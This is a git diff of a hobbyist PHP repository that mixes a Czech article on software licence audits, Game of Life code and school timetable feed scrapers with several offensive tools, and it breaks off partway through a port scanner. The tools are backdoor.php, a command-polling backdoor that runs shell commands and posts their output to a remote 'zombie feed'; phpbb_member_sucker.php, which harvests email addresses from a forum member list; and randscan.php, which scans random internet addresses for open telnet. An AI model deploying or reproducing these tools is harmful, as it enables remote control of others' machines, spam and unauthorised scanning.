+Pokud se nyni zamerime na OEM licence, ktere je mozne (az na vyjimky), poridit pouze spolecne s novym hardwarem, pak nesmime zapomenout na to, aby byl veskery OEM software uveden na kupnim dokladu k tomuto hardwaru. V zadnem pripade nestaci, aby bylo na dokladu uvedeno napriklad: "Predmetem koupe je pocitac LINX spolecne s nainstalovanym softwarem." Vzdy musime trvat na tom, aby byl na dokladu uveden presny nazev programu, jeho verze a v nekterych pripadech i jazykova mutace. Spravne vypsany doklad by mel tedy obsahovat napriklad takovouto vetu: " Uvedeny hardware je dodan spolecne s nainstalovanym operacnim systemem OEM MS Windows XP profesional CZ." OEM verze softwaru jsou vazany na hardware, se kterym byly porizeny (casto musime na skrin pocitace nalepit stitek dodavany s OEM verzemi programu) a pokud dochazi k odpisu tohoto hardware, musime spolecne s nim vyradit i OEM software, uvedeny na prodejnim dokladu k hardwaru. V zadnem pripade nemuzeme OEM verze programu vzit a nainstalovat je na jiny hardware. Pokud by probihala kontrola legalnosti a byla by zjistena skutecnost, ze OEM verze softwaru jsou nainstalovany na jinem hardwaru, nez ktery je uveden na nabyvacim dokladu s inkriminovanym softwarem, pak by se tato kopie brala jako nelegalni. Kdyz uz jsme nakousli software kupovany spolecne s hardwarem, musime si take uvedomit, ze spolecne s hardwarem dostavame casto darem i ruzny software v podobe her a uzitecnych programu. Vzdy bychom meli trvat na tom, aby byl seznam veskereho softwaru, ktery je s hardwarem dodan, uveden na dokladu o koupi.
+Uvedme si priklad:
+Koupime si fotoaparat a spolecne s nim dostaneme program pro upravu fotek, kadernicke studio pro tvorbu ucesu a dalsi napriklad pro tvorbu fotoalbumu. Vsechno budou komercni programy, ktere nebudou uvedeny na dokladu o koupi fotoaparatu ani v seznamu jeho prislusenstvi a my si je vsechny nainstalujeme. Kdyz potom prijde kontrola, tak si s nejvetsi pravdepodobnosti nevzpomeneme na to, kde jsme k temto programum prisli a pokud si preci jen vzpomeneme, nebudeme moci legalitu nabyti nijak dokazat. V takovem pripade nam pak hrozi nahrada skody za pouziti techto programu.
+
+Dalsi veci, o ktere jsem se zapomnel zminit v minulem dilu jsou pocitace cekajici na vyrazeni, pokud je prestaneme pouzivat. Pokud software, ktery jsme na nich pouzivali, nainstalujeme na novy pocitac, musime jej vzdy z vyrazovaneho pocitace ihned odinstalovat. Rekneme, ze si koupime krabicovou verzi MS Office, kterou pouzivame na svem pocitaci. Za nejakou dobu se rozhodneme, ze se stareho pocitace zbavime a misto nej si poridime novy. Stary pocitac hodime bez odinstalace do kouta a nas MS Office si nainstalujeme na novy pocitac. Pokud v tuto chvili prijde kontrola, nebude ji v zadnem pripade zajimat, ze je pocitac v koute vyrazeny a jedna kopie nainstalovaneho baliku MS Office bude povazovana za nelegalni.
+Softwarovy audit
+
+Z vyse uvedenych faktu je patrne, ze pravidelna kontrola instalovaneho softwaru, mnozstvi licenci a jejich spravne prirazeni k nabyvacim dokladum je z preventivniho hlediska velmi dulezita. Pokud patrite mezi uzivatele, kteri se snazi instalovat na svuj pocitac pouze legalne nabyty software, pak si zkuste polozit otazku, zda byste byli v pripade kontroly schopni dohledat vsechny doklady o koupi pouzivaneho softwaru. Pokud nemate doklady naprosto v poradku, zrejme vam da celkem dost prace, nez vsechny potrebne dokumenty date dohromady. A co teprve, pokud jste spravcem IT ve vetsi firme a musite priradit nabyvaci doklady k softwaru, ktery je instalovan na desitkach pocitacu? Vzdy byste meli myslet na nejhorsi a povazovat policejni kontrolu legalniho pouzivani softwaru za realnou vec, ktera vas muze kdykoliv potkat. Netreba zduraznovat, ze pokud budete provadet preventivni softwarovy audit sami od sebe, budete na policejni kontrolu vzdy pripraveni a nebudete se ji muset obavat. Nehlede na to, ze jste-li zminenym spravcem IT ve firme, pak nesete plnou zodpovednost za nainstalovany software a v pripade, kdy si na sve pocitace nainstaluji nelegalni software samotni zamestnanci, stejne stanete pred soudem s nejvetsi pravdepodobnosti prave vy. To uz je snad dostatecny duvod, ktery by vas mel k softwarovymu auditu prinutit. Co to tedy softwarovy audit vlastne je? Jde o vytvoreni seznamu veskereho softwaru nainstalovaneho na pocitacich, kterych se softwarovy audit tyka, dohledani vsech nabyvacich dokladu a pripadne dokoupeni licenci nebo odinstalace softwaru, ktery byl na pocitace instalovan nelegalne.
+
+Priste se sejdeme jiz u posledniho dilu tohoto serialu, abychom si povedeli neco o tom, jak spravne provadet softwarovy audit a jakym zpusobem mohou spravci IT prenest zodpovednost za instalovany software na koncove uzivatele.
diff --git a/php/game-of-life/glider.txt b/php/game-of-life/glider.txt
new file mode 100644 (file)
index 0000000..a3dcc3a
--- /dev/null
@@ -0,0 +1,30 @@
+-------------------------------------------------------------------------------\r
+----#--------------------------------------------------------------------------\r
+-----#-------------------------------------------------------------------------\r
+---###-------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
+-------------------------------------------------------------------------------\r
diff --git a/php/game-of-life/golife.php b/php/game-of-life/golife.php
new file mode 100644 (file)
index 0000000..fa509ae
--- /dev/null
@@ -0,0 +1,154 @@
+<?php\r
+//Game of life 0.3 (2D Cellular automata example implementation)\r
+//Coded: Harvie 2oo7\r
+/*\r
+ *  The Rules (THX2John Conway):\r
+ *    For a space that is 'populated':\r
+ *      Each cell with one or no neighbors dies, as if by loneliness. \r
+ *      Each cell with four or more neighbors dies, as if by overpopulation. \r
+ *      Each cell with two or three neighbors survives. \r
+ *    For a space that is 'empty' or 'unpopulated':\r
+ *     Each cell with three neighbors becomes populated. \r
+ *\r
+ *  http://www.bitstorm.org/gameoflife/           -Online\offline java based version\r
+ *  http://www.bitstorm.org/gameoflife/lexicon/   -Nice lexicon of lifes, that you can test on this simulator\r
+ *\r
+ *  $life contains array of strings, where every character is one cell\r
+ *  there is also function to load life from file (for more lifes see lexicon)\r
+ *  i included two lifes life.txt - simple small life and glider.txt - the most classical of all, it become symbol of hackership\r
+ *\r
+ *  for better experience please resize console window to size of life, that you are running.\r
+ *\r
+ *  PHP+AsciiART == Rox!!!\r
+ */\r
+\r
+///FUNCTIONS////////////////////////////////////////////////////\r
+\r
+//\r
+function life_load($file) {\r
+  $life = file($file);\r
+  foreach ($life as $lnum => $line) {\r
+    $life[$lnum] = trim($line);\r
+  }\r
+  return $life;\r
+}\r
+\r
+//\r
+function life_randomize($lines, $chars) {\r
+  $pop = $GLOBALS["populated"];\r
+  $unp = $GLOBALS["unpopulated"];\r
+  $life = "";\r
+  $i = 0;\r
+  while($lines > $i) {\r
+    $line = "";\r
+    $ichars = $chars;\r
+    while($ichars > 0) {\r
+      $line = $line.rand(0,1);\r
+      $ichars--;\r
+    }\r
+    $line = str_replace("0", $unp, $line);\r
+    $line = str_replace("1", $pop, $line);\r
+    $life[$i] = $line;\r
+    $i++;\r
+  }\r
+  return $life;\r
+}\r
+\r
+//\r
+function life_print($life) {\r
+  foreach($life as $line) {\r
+      $line = str_replace($GLOBALS["populated"], $GLOBALS["prpop"], $line);\r
+      $line = str_replace($GLOBALS["unpopulated"], $GLOBALS["prunp"], $line);\r
+      echo($line."|\r\n");\r
+  }\r
+}\r
+\r
+//\r
+function life_neighs($life, $line, $char) {\r
+  @$neighs = "";\r
+  @$neighs = $neighs.$life[$line][$char+1];\r
+  @$neighs = $neighs.$life[$line][$char-1];\r
+  @$neighs = $neighs.$life[$line+1][$char+1];\r
+  @$neighs = $neighs.$life[$line+1][$char-1];\r
+  @$neighs = $neighs.$life[$line+1][$char];\r
+  @$neighs = $neighs.$life[$line-1][$char+1];\r
+  @$neighs = $neighs.$life[$line-1][$char-1];\r
+  @$neighs = $neighs.$life[$line-1][$char];\r
+  return $neighs;\r
+}\r
+\r
+//\r
+function life_neighs_num($life, $line, $char) {\r
+  $neighs = life_neighs($life, $line, $char);\r
+  $neighs = ereg_replace("(\.| |0|_|-)", "", $neighs); //Unpopulated chars: . 0_-\r
+  $neighs = strlen($neighs);\r
+  //echo($neighs); //Debug\r
+  return $neighs;\r
+}\r
+\r
+//\r
+function life_next($life) {\r
+\r
+  $pop = $GLOBALS["populated"];\r
+  $unp = $GLOBALS["unpopulated"];\r
+  $old_life = $life;\r
+  \r
+  foreach($life as $lnum => $line) {\r
+    //echo($lnum); //Debug\r
+    for($i = 0;$i < strlen($line);$i++) {\r
+      $neigh_num =  0;\r
+      $neigh_num = life_neighs_num($old_life, $lnum, $i);\r
+      //echo($lnum."-".$i."=".$neigh_num."\n"); //Debug\r
+      if($old_life[$lnum][$i] == $pop) {\r
+          if($neigh_num == 2 || $neigh_num == 3) { $life[$lnum][$i] = $pop; } else { $life[$lnum][$i] = $unp; }\r
+        }\r
+      else\r
+        {\r
+          if($neigh_num == 3) { $life[$lnum][$i] = $pop; }\r
+        }\r
+    }\r
+  }\r
+  return $life;\r
+  \r
+}\r
+\r
+//\r
+function cls() {\r
+  //Clear screen\r
+  for($i = 0; $i < 20;$i++) echo("\r\n");\r
+}\r
+\r
+///CODE///////////////////////////////////////////////////////////////////////////////\r
+\r
+//Settings\r
+$life = life_load("spacefiller.cells"); //Load life\r
+//$life = life_randomize(30, 60); //Randomize life\r
+$populated = "#"; //File format populated\r
+$unpopulated = "."; //File format unpopulated\r
+$prpop = "Û"; //chr(219); //Print chars populated\r
+$prunp = " "; //Print chars unpopulated\r
+$sleep = 1; //sleep in seconds\r
+$usleep = 200000; //sleep in microseconds\r
+\r
+/*\r
+$i = 0;\r
+while($i < 220) { echo($i."-".chr($i)."\n"); $i++; }\r
+*/\r
+\r
+//Run\r
+$backup_life = $life;\r
+$old_life = "";\r
+$generation = 1;\r
+while($old_life != $life) { //While moving\r
+  $old_life = $life;\r
+  echo("Generation: ".$generation."\r\n");\r
+  life_print($life);\r
+    //cls(); //Shifting\r
+  $life = life_next($life);\r
+  //sleep($sleep);\r
+  //usleep($usleep);\r
+  $generation++;\r
+}\r
+\r
+\r
+?>\r
diff --git a/php/game-of-life/life.txt b/php/game-of-life/life.txt
new file mode 100644 (file)
index 0000000..8e10592
--- /dev/null
@@ -0,0 +1,14 @@
+------------------------------------\r
+------------------------------------\r
+------------------------------------\r
+------------------------------------\r
+------------------------------------\r
+------------------------------------\r
+--------##########------------------\r
+------------------------------------\r
+------------------------------------\r
+------------------------------------\r
+------------------------------------\r
+------------------------------------\r
+------------------------------------\r
+------------------------------------\r
diff --git a/php/game-of-life/spacefiller.cells b/php/game-of-life/spacefiller.cells
new file mode 100644 (file)
index 0000000..530662c
--- /dev/null
@@ -0,0 +1,55 @@
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+..................................................#........................................\r
+.................................................###.......................................\r
+............................................###....##......................................\r
+...........................................#..###..#.##....................................\r
+..........................................#...#.#..#.#.....................................\r
+..........................................#....#.#.#.#.##..................................\r
+............................................#....#.#...##..................................\r
+................................####.....#.#....#...#.###..................................\r
+................................#...##.#.###.##.........##.................................\r
+................................#.....##.....#.............................................\r
+.................................#..##.#..#..#.##..........................................\r
+.......................................#.#.#.#.#.#.....####................................\r
+.................................#..##.#..#..#..##.#.##...#................................\r
+................................#.....##...#.#.#...##.....#................................\r
+................................#...##.#.##..#..#..#.##..#.................................\r
+................................####.....#.#.#.#.#.#.......................................\r
+..........................................##.#..#..#.##..#.................................\r
+.............................................#.....##.....#................................\r
+.................................##.........##.###.#.##...#................................\r
+..................................###.#...#....#.#.....####................................\r
+..................................##...#.#....#............................................\r
+..................................##.#.#.#.#....#..........................................\r
+.....................................#.#..#.#...#..........................................\r
+....................................##.#..###..#...........................................\r
+......................................##....###............................................\r
+.......................................###.................................................\r
+........................................#..................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
+...........................................................................................\r
diff --git a/php/location.php b/php/location.php
new file mode 100644 (file)
index 0000000..194f34a
--- /dev/null
@@ -0,0 +1 @@
+//Header('Location: '.(($_SERVER['HTTPS'] != '') ? 'https://' : 'http://').'logout-'.md5(rand()).'@'.$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'].$_SERVER['PHP_SELF']);
\ No newline at end of file
diff --git a/php/mc b/php/mc
new file mode 100755 (executable)
index 0000000..47e3967
--- /dev/null
+++ b/php/mc
@@ -0,0 +1,26 @@
+#!/usr/bin/php
+<?php
+if($argc < 2) die("usage: pwrap command\n");
+for($i=1;$i<$argc;$i++) $command = $command.' '.$argv[$i];
+
+$descriptorspec = array(
+   0 => array("pipe", "r"),  // stdout
+   1 => array("pipe", "w"),  // stdin
+   //2 => array("pipe", "r") // stderr
+   //2 => array("file", "./error-output.txt", "a") // stderr is a file to write to
+);
+
+$cwd = '~/';
+
+$process = proc_open($command, $descriptorspec, $pipes, $cwd, $_ENV);
+$stdin = fopen('php://stdin', 'r');
+
+stream_set_blocking($pipes[0], 0);
+stream_set_blocking($pipes[1], 0);
+//stream_set_blocking($pipes[2], 0);
+stream_set_blocking($stdin, 0);
+
+while(!feof($pipes[0]) && !feof($pipes[1])) {
+       echo(fgetc($pipes[1]));
+       fwrite($pipes[0], fgetc($stdin));
+}
\ No newline at end of file
diff --git a/php/phpbb_member_sucker.php b/php/phpbb_member_sucker.php
new file mode 100644 (file)
index 0000000..718a231
--- /dev/null
@@ -0,0 +1,13 @@
+<?php
+$url           = 'http://harvie.ath.cx/wan/student-ssps.cz/board/memberlist.php';
+$preg          = "/[-a-z0-9\._]+@[-a-z0-9\._]+\.[a-z]{2,4}/";
+$start_user    = 0;
+$max_users     = 200;
+$step = 50;
+
+$mblist = $url.'?start=';
+for($i=$start_user;$i<$max_users;$i+=$step) {
+       $url = $mblist.$i;
+       preg_match_all($preg, @file_get_contents($url), $users); $users = $users[0];
+       foreach($users as $user) echo($user."\n");
+}
\ No newline at end of file
diff --git a/php/rand.php b/php/rand.php
new file mode 100644 (file)
index 0000000..722ad56
--- /dev/null
@@ -0,0 +1,16 @@
+#!/usr/bin/php
+<?php
+
+srand(time()+rand(0,9));
+
+while(1) echo rand(0,20)."\n";
+
+function rnd() {
+       while( ($i = (rand(0,1000000000)/1000000000)) == 1 );
+       return $i;
+}
+
+while( ($i = round(rnd()*15)) != 15) {
+       echo $i."\n";
+}
+echo $i."\n";
\ No newline at end of file
diff --git a/php/randscan.php b/php/randscan.php
new file mode 100644 (file)
index 0000000..f92607c
--- /dev/null
@@ -0,0 +1,39 @@
+#!/usr/bin/php
+<?php
+
+function ip_rand($all = false) {
+       if(!$all) {
+               return(rand(1,254).'.'.rand(1,254).'.'.rand(1,254).'.'.rand(1,254));
+       } else {
+               return(rand(0,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255));
+       }
+}
+
+function ip_range($ip) {
+       $ip = explode('.', trim($ip));
+       if($ip[0]==0 || $ip[0]==255) return 3;
+       if($ip[0]==127 && $ip[1]==0 && $ip[2]==0) return 2;
+       if($ip[0]==10) return 1;
+       if($ip[0]==172 && $ip[1]>=16 && $ip[1]<=31) return 1;
+       if($ip[0]==192 && $ip[1]==168) return 1;
+       return 0;
+}
+
+function scan_check($ip, $port=80, $timeout = 0.4) {
+       $fp = @fsockopen($ip, $port, $errno, $errstr, $timeout);
+       if($fp) return 1;
+}
+
+//while(1) echo(ip_range(ip_rand())."\n");
+
+
+while(1) {
+       if(ip_range($ip = ip_rand())) continue;
+       if(scan_check($ip, 23)) echo($ip."\n");
+       //echo($ip.' - '.gethostbyaddr($ip)."\n"); //Debug
+}
+/*
+24-bit block   10.0.0.0 - 10.255.255.255
+20-bit block   172.16.0.0 - 172.31.255.255
+16-bit block   192.168.0.0 - 192.168.255.255
+*/
\ No newline at end of file
diff --git a/php/rozvrh.atom.phps b/php/rozvrh.atom.phps
new file mode 100755 (executable)
index 0000000..dd6ce16
--- /dev/null
@@ -0,0 +1,78 @@
+<?php
+       header("Content-Type: application/atom+xml");
+
+        $url = 'http://www.ssps.cz/pages/rozvrhy/index.php';
+
+        # E.g. $croom = '1.A';
+       $croom = "x";
+        $croom = trim($_GET['q']);
+
+        function atomPrintItem($title, $id, $update, $link, $desc='') {
+                echo("\n<entry>\n");
+               echo("\t<id>$id</id>\n");
+               echo("\t<updated>" . strftime("%Y-%m-%dT%H:%M:%SZ", $update) . "</updated>\n");
+                echo("\t<title>$title</title>\n");
+                echo("\t<link href=\"$link\" />\n");
+                echo("\t<content>$desc</content>\n");
+                echo("</entry>\n\n");
+        }
+       echo('<?xml'); ?> version="1.0" encoding="UTF-8"?>
+<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="cs">
+       <title>Změny v rozvrhu SSPŠ</title>
+       <subtitle>Aktuální změny v rozvrhu SSPŠ</subtitle>
+       <link href="<?php echo($url); ?>" />
+       <icon>http://www.ssps.cz/favicon.ico</icon>
+       <id>tag:ssps.cz,2008:</id>
+       <author>
+               <name>SSPŠ</name>
+       </author>
+<?php
+        $croom = str_replace('.', '\.', $croom);
+        $feed = split('<[^>]+>', iconv('WINDOWS-1250', 'UTF-8', file_get_contents($url)));
+       $date = 0;
+       $update = 0;
+       $lastUpdate = 0;
+       ob_start();
+
+        foreach($feed as $line) {
+                $line = trim($line);
+                if($line == '' || eregi('rozvrhy', $line)) continue;
+
+               # Last update?
+               if (eregi("^Aktualizováno: (..)\.(..)\.(....)&nbsp;(..:..:..)$", $line, $r))
+               {
+                       $update = strtotime("{$r[3]}-{$r[2]}-{$r[1]} {$r[4]}");
+
+                       # This is the last update of the whole feed
+                       if ($lastUpdate < $update)
+                               $lastUpdate = $update;
+                       continue;
+               }
+
+               # What day are we reading?
+               if (eregi("^[^ ]+&nbsp;(..)\.(..)\.(....)$", $line, $r))
+               {
+                       $date = strtotime("{$r[3]}-{$r[2]}-{$r[1]}");
+                       continue;
+               }
+
+               # Found a line about our class
+               if ($date && eregi($croom, $line))
+               {
+                       $days = array('Ne', 'Po', 'Út', 'St', 'Čt', 'Pá', 'So');
+                       $wday = localtime($date, TRUE);
+                       $wday = $days[$wday['tm_wday']];
+                       atomPrintItem($wday . strftime(" %d.%m. ", $date) . $line,
+                               "tag:ssps.cz," . strftime("%Y-%m-%d:", $date) . md5($line),
+                               $update, $url, $line);
+               }
+        }
+       $feed = ob_get_contents();
+       ob_end_clean();
+       # Must appear before the items
+       echo ("\t<updated>" . strftime("%Y-%m-%dT%H:%M:%SZ", $lastUpdate) . "</updated>\n");
+       echo $feed;
+?>
+</feed>
+
diff --git a/php/rozvrh.rss.php b/php/rozvrh.rss.php
new file mode 100644 (file)
index 0000000..213cbb8
--- /dev/null
@@ -0,0 +1,36 @@
+<?php
+
+//URL Stránky s rozvrhy
+$url = 'http://www.ssps.cz/pages/rozvrhy/index.php';
+
+$fp = fopen('http://www.ssps.cz/pages/rozvrhy/index.php', 'r');
+while(!feof($fp)) {
+       $line = fgets($fp);
+       //echo $line;
+       if(eregi('Aktualizováno', $line)) {
+               $line = str_replace('</DIV>', '', $line);
+               $line = str_replace('&nbsp;', ' ', $line);
+               $line = trim($line);
+               //echo("<!-- $line -->\n");
+               break;
+       }
+}
+
+echo('<?xml version="1.0" encoding="ISO-8859-2"?>');
+?>
+<rss version="0.91"><channel>
+
+<title>Zmeny v rozvrhu SSPS</title>
+<link>http://www.ssps.cz/pages/rozvrhy/index.php</link>
+<description>Aktualni zmeny v rozvrhu SSPS</description>
+<language>cs</language>
+
+<item>
+       <title><?php echo($line); ?></title>
+       <link>http://www.ssps.cz/pages/rozvrhy/index.php</link>
+       <description><?php echo($line); ?></description>
+</item>
+   
+</channel></rss>
+
+
diff --git a/php/rozvrh.rss.phps b/php/rozvrh.rss.phps
new file mode 100755 (executable)
index 0000000..e723eda
--- /dev/null
@@ -0,0 +1,33 @@
+<?php
+       $url = 'http://www.ssps.cz/pages/rozvrhy/index.php';
+       $croom = '3.I';
+       $croom = trim($_GET['q']);
+       
+       function rss_add_item($title, $link='', $desc='') {
+               echo("\n<item>\n");
+                 echo("\t<title>$title</title>\n");
+                 echo("\t<link>$link</link>\n");
+                 echo("\t<description>$desc</description>\n");
+               echo("</item>\n\n");
+       }
+?>
+<?php echo('<?xml'); ?> version="1.0" encoding="UTF-8"?><rss version="0.91"><channel>
+
+<title>Zmeny v rozvrhu SSPS</title>
+<link><?php echo($url); ?></link>
+<description>Aktualni zmeny v rozvrhu SSPS</description>
+<language>cs</language>
+
+<?php
+       $croom = str_replace('.', '\.', $croom);
+       $feed = spliti('<.?..>', iconv('WINDOWS-1250', 'UTF-8', file_get_contents($url)));
+
+       foreach($feed as $line) {
+               $line = trim($line);
+               if($line == '' || eregi('rozvrhy', $line)) continue;
+               if(eregi($croom, $line)) rss_add_item($line, $url);
+       }
+       
+?>
+                          
+</channel></rss>
diff --git a/php/skripty/NE_tcp_service_checker.php b/php/skripty/NE_tcp_service_checker.php
new file mode 100644 (file)
index 0000000..1046a21
--- /dev/null
@@ -0,0 +1,26 @@
+<?php\r
+\r
+$address = "google.cz";\r
+$port = "80";\r
+\r
+echo("Service: $address:$port Running: ");\r
+\r
+$master = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\r
+socket_set_option($master, SOL_SOCKET,SO_REUSEADDR, 1);\r
+// socket_set_option($master, SOL_SOCKET, SO_SNDTIMEO, 10); //Pokus nastavit timeout\r
+\r
+if (socket_connect($master, $address, $port)) { //Podařilo se inicializovat spojení?\r
+  echo("1Yeah!\n"); //Ano\r
+  socket_close($master);\r
+} else {\r
+  echo("1No!\n"); //Ne\r
+}\r
+\r
+if (socket_write ($master, "TEST")) { //Podařilo se inicializovat spojení?\r
+  echo("2Yeah!\n"); //Ano\r
+  socket_close($master);\r
+} else {\r
+  echo("2No!\n"); //Ne\r
+}\r
+\r
+?>\r
diff --git a/php/skripty/ascii.php b/php/skripty/ascii.php
new file mode 100644 (file)
index 0000000..16bff66
--- /dev/null
@@ -0,0 +1,19 @@
+/*\r
+Generates Ascii table (By Harvie 2oo6)\r
+*/\r
+\r
+<?php\r
+\r
+echo ("Ascii table (By Harvie 2oo6)\n\n");\r
+\r
+\r
+$chr_in = 0;\r
+\r
+while ( $chr_in < 256 ) {\r
+\r
+echo ($chr_in . " - " . chr ( $chr_in ) . "\n");\r
+$chr_in++;\r
+\r
+}\r
+\r
+?>\r
diff --git a/php/skripty/backdoor.php b/php/skripty/backdoor.php
new file mode 100644 (file)
index 0000000..6c64765
--- /dev/null
@@ -0,0 +1,111 @@
+<?php\r
+//////////////////////////////////////////////////////////////////\r
+//©opylefted by <-Harvie 2oo7\r
+////////////////////////SETTINGS//////////////////////////////////\r
+\r
+$file = "backdoor.txt"; //Interface to comunicate with BackD00R\r
+$lastf = "c:\\sysc.sys"; //Place to save last settings\r
+$feed = "http://localhost:8080/PHP/zombiefeed.php?feed=";\r
+\r
+//Init (will be used, if no settings was saved):\r
+$last = 0;\r
+$interval = 30;\r
+//////////////////////////////////////////////////////////////////\r
+\r
+function post($host, $path, $data) {\r
+  $http_response = "";\r
+  $content_length = strlen($data);\r
+  $fp = fsockopen($host, 8080);\r
+  fputs($fp, "POST $path HTTP/1.1\r\n");\r
+  fputs($fp, "Host: $host\r\n");\r
+  fputs($fp, "Content-Type: application/x-www-form-urlencoded\r\n");\r
+  fputs($fp, "Content-Length: $content_length\r\n");\r
+  fputs($fp, "Connection: close\r\n\r\n");\r
+  fputs($fp, $data);\r
+  while (!feof($fp)) $http_response .= fgets($fp, 28);\r
+  fclose($fp);\r
+  echo("Posted\n");\r
+  return $http_response;\r
+}\r
+\r
+$postdata = "?feed=bar";\r
+foreach($_POST as $key => $val) $postdata .= '&'.$key.'='.$val;\r
+\r
+$http_response = post('localhost', '/PHP/zombiefeed.php', $postdata);\r
+\r
+/////////////////////////////////////////////////////\r
+\r
+function shellf($command) {\r
+  $shellout = shell_exec($command);\r
+  post($feedhost, $feedpath, $shellout);\r
+  echo ($shellout); //Debug\r
+  }\r
+\r
+function autodestruct() {\r
+  echo("KILLED BY MY MASTER !!!\n\n");\r
+  //System("del this1234567889.exe");\r
+  //System("shutdown -s");\r
+}\r
+\r
+//////////////////////////////////////////////////////////////////\r
+\r
+//Debug:\r
+//readfile("http://harvie.stokoruna.cz/");\r
+//shellf("dir");\r
+\r
+//GET SAVED SETTINGS:\r
+if ( $fp = fopen($lastf, "r") ) { //Check if settings file exists\r
+    $temp = fgets($fp);\r
+    fclose($fp); //Close settings file\r
+    //Parse saved settings:\r
+    $temp = explode( " ", trim($temp) );\r
+    $last = $temp[0];\r
+    $interval = $temp[1];\r
+    //echo($fp); //Debug\r
+  }\r
+  \r
+/*\r
+echo("last: $last\n"); //Debug\r
+echo("interval: $interval\n"); //Debug\r
+*/\r
+\r
+while(1) { //Listen on interface\r
+  $in = file($file); //Read commands from interface\r
+  if( $last < trim($in[0]) ) { //Command number check\r
+  \r
+    //Parse commands from interface to variables:\r
+    $last = trim($in[0]);\r
+    $interval = trim($in[1]);\r
+    $command = trim($in[2]);\r
+    $download = trim($in[3]);\r
+    $downloadto = trim($in[4]);\r
+    \r
+    //Save settings:\r
+    $fp = fopen($lastf, "w+");\r
+    fwrite($fp, ("$last $interval") );\r
+    fclose($fp);\r
+\r
+///////WORK WITH RECIEVED COMMANDS////////////////////////////////\r
+\r
+    if ($command == "_autodestruct")\r
+     { autodestruct(); }\r
+\r
+    echo("last: $last\n");\r
+    echo("interval: $interval\n");\r
+    echo("command: $command\n");\r
+    echo("Download what: $download\n");\r
+    echo("Download where: $downloadto\n");\r
+\r
+    echo("-------------------------------------------------------------------------\n");\r
+    \r
+///////REPLY TO SERVER////////////////////////////////////////////\r
+    \r
+    //readfile($reply);\r
+    \r
+//////////////////////////////////////////////////////////////////\r
+    \r
+  }\r
+  sleep($interval); //Pause\r
+}\r
+\r
+?>\r
diff --git a/php/skripty/bdscan.php b/php/skripty/bdscan.php
new file mode 100644 (file)
index 0000000..c91d096
--- /dev/null
@@ -0,0 +1,83 @@
+#!/usr/bin/php\r
+<?php\r
+//BDScan\r
+//Harvie 2oo7\r
+\r
+///SETTINGS////////////////////////////////////////////\r
+$host = "localhost";\r
+//$host = "192.168.2.1";\r
+$timeout = 0.9;\r
+\r
+if(isset($argv[1])) $host = $argv[1]; //Host\r
+if(isset($argv[2])) $timeout = $argv[2]; //Timeout\r
+\r
+///PORTLIST////////////////////////////////////////////\r
+$ports = array (\r
+//#PORT => "CLASS.Name",\r
+  21    => "SRV.FTP Service",\r
+  22    => "SRV.Secure Shell Service",\r
+  23    => "SRV.Telnet Service",\r
+  24    => "BD.Harvie's NetCat BackDoor",\r
+  80    => "SRV.HTTP Service",\r
+  8080  => "SRV.HTTP Service",\r
+  \r
+  113   => "WRM.Korgo.F",\r
+  903   => "BD.NetDevil",\r
+  1080  => "WRM.MyDoom.B, MyDoom.F, MyDoom.G, MyDoom.H",\r
+  2283  => "WRM.Dumaru.Y",\r
+  2535  => "WRM.Beagle.W, Beagle.X, other Beagle/Bagle variants",\r
+  2745  => "WRM.Bagle",\r
+  3067  => "WRM.Korgo.F",\r
+  3127  => "WRM.My_Doom.A",\r
+  3128  => "WRM.MyDoom.B",\r
+  3140  => "BD.OptixPro.13 and variants",\r
+  5554  => "WRM.Sasser through Sasser.C, Sasser.F",\r
+  6129  => "RM.DameWare",\r
+  8866  => "WRMBeagle.B",\r
+  9898  => "WRM.Dabber.A and Dabber.B",\r
+  9996  => "WRM.Sasser",\r
+  10000 => "WRM.Dumaru.Y",\r
+  10080 => "WRM.MyDoom.B",\r
+  12345 => "BD.NetBus",\r
+  16661 => "BD.HaxDoor",\r
+  17300 => "BD.Kuang, Kuang2",\r
+  27347 => "BD.SubSeven",\r
+  27374 => "BD.SubSeven",\r
+  65506 => "BOT.PhatBot, Agobot, Gaobot"\r
+  );\r
+\r
+///SCAN///////////////////////////////////////////////////////\r
+echo("Harvie's BackDoor PortScanner\n");\r
+echo("[u] Usage: bdscan [host] [timeout]\n");\r
+echo("[i] Timeout is set to $timeout s\n");\r
+echo("[i] Scanning $host for backdoors and basic services...\n\n");\r
+\r
+foreach($ports as $port => $bd) {\r
+  $sock = @pfsockopen($host, $port, $errno, $err, $timeout);\r
+  if($sock) {\r
+    echo("[!] $port : $bd\n");\r
+    $found = true;\r
+  } else {\r
+    //echo("[-] $port : $bd\n");\r
+  }\r
+}\r
+\r
+if(isset($found)) {\r
+  echo("\n[!] Services listed above found...\n");\r
+} else {\r
+  echo("[i] No BackDoors/services found...\n");\r
+}\r
+echo("[i] Finished...\n");\r
+\r
+///SUX_PARSER/////////////////////////////////////////////////\r
+/*\r
+$fp = fopen("bdports.txt", "r");\r
+while(!feof($fp)) {\r
